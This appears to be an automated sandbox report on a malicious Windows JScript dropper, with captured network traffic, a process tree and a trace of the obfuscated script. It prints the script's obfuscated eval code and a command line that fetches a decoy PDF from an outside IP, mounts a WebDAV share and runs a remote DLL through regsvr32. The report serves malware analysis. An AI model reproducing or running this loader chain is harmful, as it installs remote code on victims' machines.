Jan 14, 2025 11:12:02.772273064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 10:12:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 14, 2025 11:12:02.772336960 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 14, 2025 11:12:02.772373915 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 14, 2025 11:12:02.772408009 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 14, 2025 11:12:02.772440910 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 14, 2025 11:12:02.772473097 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 14, 2025 11:12:02.772506952 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 14, 2025 11:12:02.772540092 CET	1164	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 14, 2025 11:12:02.772586107 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c 38 38 d8 ef 7d 88 c8 ff 7a d0 4a 61 34 15 22 9d 44 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 Data Ascii: 1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlh
Jan 14, 2025 11:12:02.772614956 CET	224	IN	Data Raw: 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e 43 4f 4f ee e6 31 f4 b2 89 a1 37 37 4f b7 e3 31 94 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 Data Ascii: ccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?
Jan 14, 2025 11:12:02.777523041 CET	1236	IN	Data Raw: bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 5f 57 3b da 43 eb c7 a2 cb c7 aa fa 33 55 e9 a1 00 76 c4 6a b5 04 3b 2c 1b 43 d5 81 a1 3a 86 36 07 86 de 3c 5e 5f 37 07 77 ce 63 e8 c9 ed 49 13 Data Ascii: Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	8104	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 11:12:04.691457987 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 14, 2025 11:12:05.550755024 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 10:12:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	05:11:58
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js"
Imagebase:	0x7ff63b250000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:11:59
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll
Imagebase:	0x7ff656350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:11:59
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:11:59
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:12:03
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:12:03
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff656350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:12:04
Start date:	14/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff747c30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:12:04
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:12:04
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:12:05
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1596,i,1186940442313801581,7832851358517794452,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function reqyqjcfr() {	reqyqjcfr() ➔ undefined
1	this[huijiqoww + wbisibn + ldaaaxyqu + zrnga] ( "sytrop=[1031,3079,5127,4103,2055,3072];var aysxtr=this[ypmtrthy+ldaaaxyqu+sihzkxxh+zkqique+huijiqoww+dilndsfya+bxozmyka+glewa](this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][iqcdjaga+sihzkxxh+huijiqoww+ldaaaxyqu+glewa+huijiqoww+mgvhv+yojmtgqvn+lctlrnw+huijiqoww+yfpistefe+glewa](skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa+wpdsknxl+gsdxckiz+qqzbyydnf+huijiqoww+zrnga+zrnga)[qtfkn+huijiqoww+lrpxhxjrq+qtfkn+huijiqoww+ldaaaxyqu+kucorhyvq](bogjupqw+hzyaqpy+ybpkcjnsl+crmzosax+njxzucaj+iqcdjaga+chrqlz+qtfkn+qtfkn+ybpkcjnsl+xtbstk+dxucd+njxzucaj+chrqlz+gsdxckiz+ybpkcjnsl+qtfkn+xtehsvbjn+iqcdjaga+xhnsztsei+bxozmyka+glewa+sihzkxxh+xhnsztsei+zrnga+tqbwcokdf+uaqbk+ldaaaxyqu+bxozmyka+huijiqoww+zrnga+xtehsvbjn+dilndsfya+bxozmyka+glewa+huijiqoww+sihzkxxh+bxozmyka+ldaaaxyqu+glewa+ljcykvjfu+xhnsztsei+bxozmyka+ldaaaxyqu+zrnga+xtehsvbjn+yxkbjsrsd+xhnsztsei+yfpistefe+ldaaaxyqu+zrnga+huijiqoww),16);for(nlsido=0;nlsido<sytrop[zrnga+huijiqoww+bxozmyka+lrpxhxjrq+glewa+qqzbyydnf];++nlsido){if(aysxtr==sytrop[nlsido]){aysxtr=true;break;}}if(aysxtr!==true)this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][dlcslsi+vzzsa+ljcykvjfu+glewa]();this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][iqcdjaga+sihzkxxh+huijiqoww+ldaaaxyqu+glewa+huijiqoww+mgvhv+yojmtgqvn+lctlrnw+huijiqoww+yfpistefe+glewa](skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa+wpdsknxl+gsdxckiz+qqzbyydnf+huijiqoww+zrnga+zrnga)[sihzkxxh+vzzsa+bxozmyka](yfpistefe+cawghamdc+kucorhyvq+tqbwcokdf+zxoof+yfpistefe+tqbwcokdf+ypmtrthy+xhnsztsei+oiumptvjh+huijiqoww+sihzkxxh+zkqique+qqzbyydnf+huijiqoww+zrnga+zrnga+wpdsknxl+huijiqoww+jwtmpwt+huijiqoww+tqbwcokdf+qjwuxf+iqcdjaga+xhnsztsei+cawghamdc+cawghamdc+ldaaaxyqu+bxozmyka+kucorhyvq+tqbwcokdf+tzryy+dilndsfya+bxozmyka+wbisibn+xhnsztsei+jrtmus+huijiqoww+qjwuxf+skdgzd+huijiqoww+yojmtgqvn+qtfkn+huijiqoww+eqxhqtlh+vzzsa+huijiqoww+zkqique+glewa+tqbwcokdf+qjwuxf+mgvhv+vzzsa+glewa+dpnyptl+ljcykvjfu+zrnga+huijiqoww+tqbwcokdf+svzhpw+glewa+huijiqoww+cawghamdc+ypmtrthy+svzhpw+xtehsvbjn+ljcykvjfu+bxozmyka+wbisibn+xhnsztsei+ljcykvjfu+yfpistefe+huijiqoww+wpdsknxl+ypmtrthy+kucorhyvq+bttijpxn+tqbwcokdf+qqzbyydnf+glewa+glewa+ypmtrthy+opgcgtd+zxoof+zxoof+gunkvj+repuudksh+jemun+wpdsknxl+gunkvj+fgpti+jemun+wpdsknxl+gunkvj+wpdsknxl+azhvea+vsejr+zexnopha+zxoof+ljcykvjfu+bxozmyka+wbisibn+xhnsztsei+ljcykvjfu+yfpistefe+huijiqoww+wpdsknxl+ypmtrthy+qqzbyydnf+ypmtrthy+tzryy+hezpiazi+hezpiazi+zkqique+glewa+ldaaaxyqu+sihzkxxh+glewa+tqbwcokdf+svzhpw+glewa+huijiqoww+cawghamdc+ypmtrthy+svzhpw+xtehsvbjn+ljcykvjfu+bxozmyka+wbisibn+xhnsztsei+ljcykvjfu+yfpistefe+huijiqoww+wpdsknxl+ypmtrthy+kucorhyvq+bttijpxn+hezpiazi+hezpiazi+yfpistefe+cawghamdc+kucorhyvq+tqbwcokdf+zxoof+yfpistefe+tqbwcokdf+bxozmyka+huijiqoww+glewa+tqbwcokdf+vzzsa+zkqique+huijiqoww+tqbwcokdf+xtehsvbjn+xtehsvbjn+gunkvj+repuudksh+jemun+wpdsknxl+gunkvj+fgpti+jemun+wpdsknxl+gunkvj+wpdsknxl+azhvea+vsejr+zexnopha+xackwuxo+hfyoqwej+hfyoqwej+hfyoqwej+hfyoqwej+xtehsvbjn+kucorhyvq+ldaaaxyqu+wbisibn+oiumptvjh+oiumptvjh+oiumptvjh+sihzkxxh+xhnsztsei+xhnsztsei+glewa+xtehsvbjn+hezpiazi+hezpiazi+yfpistefe+cawghamdc+kucorhyvq+tqbwcokdf+zxoof+yfpistefe+tqbwcokdf+sihzkxxh+huijiqoww+lrpxhxjrq+zkqique+wbisibn+sihzkxxh+jemun+azhvea+tqbwcokdf+zxoof+zkqique+tqbwcokdf+xtehsvbjn+xtehsvbjn+gunkvj+repuudksh+jemun+wpdsknxl+gunkvj+fgpti+jemun+wpdsknxl+gunkvj+wpdsknxl+azhvea+vsejr+zexnopha+xackwuxo+hfyoqwej+hfyoqwej+hfyoqwej+hfyoqwej+xtehsvbjn+kucorhyvq+ldaaaxyqu+wbisibn+oiumptvjh+oiumptvjh+oiumptvjh+sihzkxxh+xhnsztsei+xhnsztsei+glewa+xtehsvbjn+fgpti+wpmmrznw+vsejr+vsejr+gunkvj+zexnopha+fgpti+mzzmbctnl+hfyoqwej+gunkvj+repuudksh+jemun+jemun+mzzmbctnl+wpdsknxl+kucorhyvq+zrnga+zrnga,0,false);" );	eval("sytrop=[1031,3079,5127,4103,2055,3072];var aysxtr=this[ypmtrthy+ldaaaxyqu+sihzkxxh+zkqique+huijiqoww+dilndsfya+bxozmyka+glewa](this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][iqcdjaga+sihzkxxh+huijiqoww+ldaaaxyqu+glewa+huijiqoww+mgvhv+yojmtgqvn+lctlrnw+huijiqoww+yfpistefe+glewa](skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa+wpdsknxl+gsdxckiz+qqzbyydnf+huijiqoww+zrnga+zrnga)[qtfkn+huijiqoww+lrpxhxjrq+qtfkn+huijiqoww+ldaaaxyqu+kucorhyvq](bogjupqw+hzyaqpy+ybpkcjnsl+crmzosax+njxzucaj+iqcdjaga+chrqlz+qtfkn+qtfkn+ybpkcjnsl+xtbstk+dxucd+njxzucaj+chrqlz+gsdxckiz+ybpkcjnsl+qtfkn+xtehsvbjn+iqcdjaga+xhnsztsei+bxozmyka+glewa+sihzkxxh+xhnsztsei+zrnga+tqbwcokdf+uaqbk+ldaaaxyqu+bxozmyka+huijiqoww+zrnga+xtehsvbjn+dilndsfya+bxozmyka+glewa+huijiqoww+sihzkxxh+bxozmyka+ldaaaxyqu+glewa+ljcykvjfu+xhnsztsei+bxozmyka+ldaaaxyqu+zrnga+xtehsvbjn+yxkbjsrsd+xhnsztsei+yfpistefe+ldaaaxyqu+zrnga+huijiqoww),16);for(nlsido=0;nlsido<sytrop[zrnga+huijiqoww+bxozmyka+lrpxhxjrq+glewa+qqzbyydnf];++nlsido){if(aysxtr==sytrop[nlsido]){aysxtr=true;break;}}if(aysxtr!==true)this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][dlcslsi+vzzsa+ljcykvjfu+glewa]();this[skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa][iqcdjaga+sihzkxxh+huijiqoww+ldaaaxyqu+glewa+huijiqoww+mgvhv+yojmtgqvn+lctlrnw+huijiqoww+yfpistefe+glewa](skdgzd+gsdxckiz+yfpistefe+sihzkxxh+ljcykvjfu+ypmtrthy+glewa+wpdsknxl+gsdxckiz+qqzbyydnf+huijiqoww+zrnga+zrnga)[sihzkxxh+vzzsa+bxozmyka](yfpistefe+cawghamdc+kucorhyvq+tqbwcokdf+zxoof+yfpistefe+tqbwcokdf+ypmtrthy+xhnsztsei+oiumptvjh+huijiqoww+sihzkxxh+zkqique+qqzbyydnf+huijiqoww+zrnga+zrnga+wpdsknxl+huijiqoww+jwtmpwt+huijiqoww+tqbwcokdf+qjwuxf+iqcdjaga+xhnsztsei+cawghamdc+cawghamdc+ldaaaxyqu+bxozmyka+kucorhyvq+tqbwcokdf+tzryy+dilndsfya+bxozmyka+wbisibn+xhnsztsei+jrtmus+huijiqoww+qjwuxf+skdgzd+huijiqoww+yojmtgqvn+qtfkn+huijiqoww+eqxhqtlh+vzzsa+huijiqoww+zkqique+glewa+tqbwcokdf+qjwuxf+mgvhv+vzzsa+glewa+dpnyptl+ljcykvjfu+zrnga+huijiqoww+tqbwcokdf+svzhpw+glewa+huijiqoww+cawghamdc+ypmtrthy+svzhpw+xtehsvbjn+ljcykvjfu+bxozmyka+wbisibn+xhnsztsei+ljcykvjfu+yfpistefe+huijiqoww+wpdsknxl+ypmtrthy+kucorhyvq+bttijpxn+tqbwcokdf+qqzbyydnf+glewa+glewa+ypmtrthy+opgcgtd+zxoof+zxoof+gunkvj+repuudksh+jemun+wpdsknxl+gunkvj+fgpti+jemun+wpdsknxl+gunkvj+wpdsknxl+azhvea+vsejr+zexnopha+zxoof+ljcykvjfu+bxozmyka+wbisibn+xhnsztsei+ljcykvjfu+yfpistefe+huijiqoww+wpdsknxl+ypmtrthy+qqzbyydnf+ypmtrthy+tzryy+hezpiazi+hezpiazi+zkqique+glewa+ldaaaxyqu+sihzkxxh+glewa+tqbwcokdf+svzhpw+glewa+huijiqoww+cawghamdc+ypmtrthy+svzhpw+xtehsvbjn+ljcykvjfu+bxozmyka+wbisibn+xhnsztsei+ljcykvjfu+yfpistefe+huijiqoww+wpdsknxl+ypmtrthy+kucorhyvq+bttijpxn+hezpiazi+hezpiazi+yfpistefe+cawghamdc+kucorhyvq+tqbwcokdf+zxoof+yfpistefe+tqbwcokdf+bxozmyka+huijiqoww+glewa+tqbwcokdf+vzzsa+zkqique+huijiqoww+tqbwcokdf+xtehsvbjn+xtehsvbjn+gunkvj+repuudksh+jemun+wpdsknxl+gunkvj+fgpti+jemun+wpdsknxl+gunkvj+wpdsknxl+azhvea+vsejr+zexnopha+xackwuxo+hfyoqwej+hfyoqwej+hfyoqwej+hfyoqwej+xtehsvbjn+kucorhyvq+ldaaaxyqu+wbisibn+oiumptvjh+oiumptvjh+oiumptvjh+sihzkxxh+xhnsztsei+xhnsztsei+glewa+xtehsvbjn+hezpiazi+hezpiazi+yfpistefe+cawghamdc+kucorhyvq+tqbwcokdf+zxoof+yfpistefe+tqbwcokdf+sihzkxxh+huijiqoww+lrpxhxjrq+zkqique+wbisibn+sihzkxxh+jemun+azhvea+tqbwcokdf+zxoof+zkqique+tqbwcokdf+xtehsvbjn+xtehsvbjn+gunkvj+repuudksh+jemun+wpdsknxl+gunkvj+fgpti+jemun+wpdsknxl+gunkvj+wpdsknxl+azhvea+vsejr+zexnopha+xackwuxo+hfyoqwej+hfyoqwej+hfyoqwej+hfyoqwej+xtehsvbjn+kucorhyvq+ldaaaxyqu+wbisibn+oiumptvjh+oiumptvjh+oiumptvjh+sihzkxxh+xhnsztsei+xhnsztsei+glewa+xtehsvbjn+fgpti+wpmmrznw+vsejr+vsejr+gunkvj+zexnopha+fgpti+mzzmbctnl+hfyoqwej+gunkvj+repuudksh+jemun+jemun+mzzmbctnl+wpdsknxl+kucorhyvq+zrnga+zrnga,0,false);") ➔ 0
2	}
3	dxucd = "Z";
4	dxucd = "r";
5	dxucd = "V";
6	dxucd = "Y";
7	dxucd = "h";
8	dxucd = "q";
9	dxucd = "L";
10	dxucd = "F";
11	dxucd = "T";
12	repuudksh = "a";
13	repuudksh = "N";
14	repuudksh = "W";
15	repuudksh = "e";
16	repuudksh = "h";
17	repuudksh = "h";
18	repuudksh = "p";
19	repuudksh = "f";
20	repuudksh = "r";
21	repuudksh = "9";
22	gsdxckiz = "m";
23	gsdxckiz = "a";
24	gsdxckiz = "e";
25	gsdxckiz = "P";
26	gsdxckiz = "A";
27	gsdxckiz = "y";
28	gsdxckiz = "S";
29	eqxhqtlh = "I";
30	eqxhqtlh = "q";
31	eqxhqtlh = "X";
32	eqxhqtlh = "Z";
33	eqxhqtlh = "J";
34	eqxhqtlh = "y";
35	eqxhqtlh = "U";
36	eqxhqtlh = "l";
37	eqxhqtlh = "q";
38	dpnyptl = "q";
39	dpnyptl = "Q";
40	dpnyptl = "i";
41	dpnyptl = "u";
42	dpnyptl = "y";
43	dpnyptl = "H";
44	dpnyptl = "K";
45	dpnyptl = "F";
46	huijiqoww = "O";
47	huijiqoww = "N";
48	huijiqoww = "i";
49	huijiqoww = "l";
50	huijiqoww = "V";
51	huijiqoww = "V";
52	huijiqoww = "V";
53	huijiqoww = "e";
54	lctlrnw = "c";
55	lctlrnw = "L";
56	lctlrnw = "L";
57	lctlrnw = "r";
58	lctlrnw = "i";
59	lctlrnw = "D";
60	lctlrnw = "A";
61	lctlrnw = "O";
62	lctlrnw = "K";
63	lctlrnw = "j";
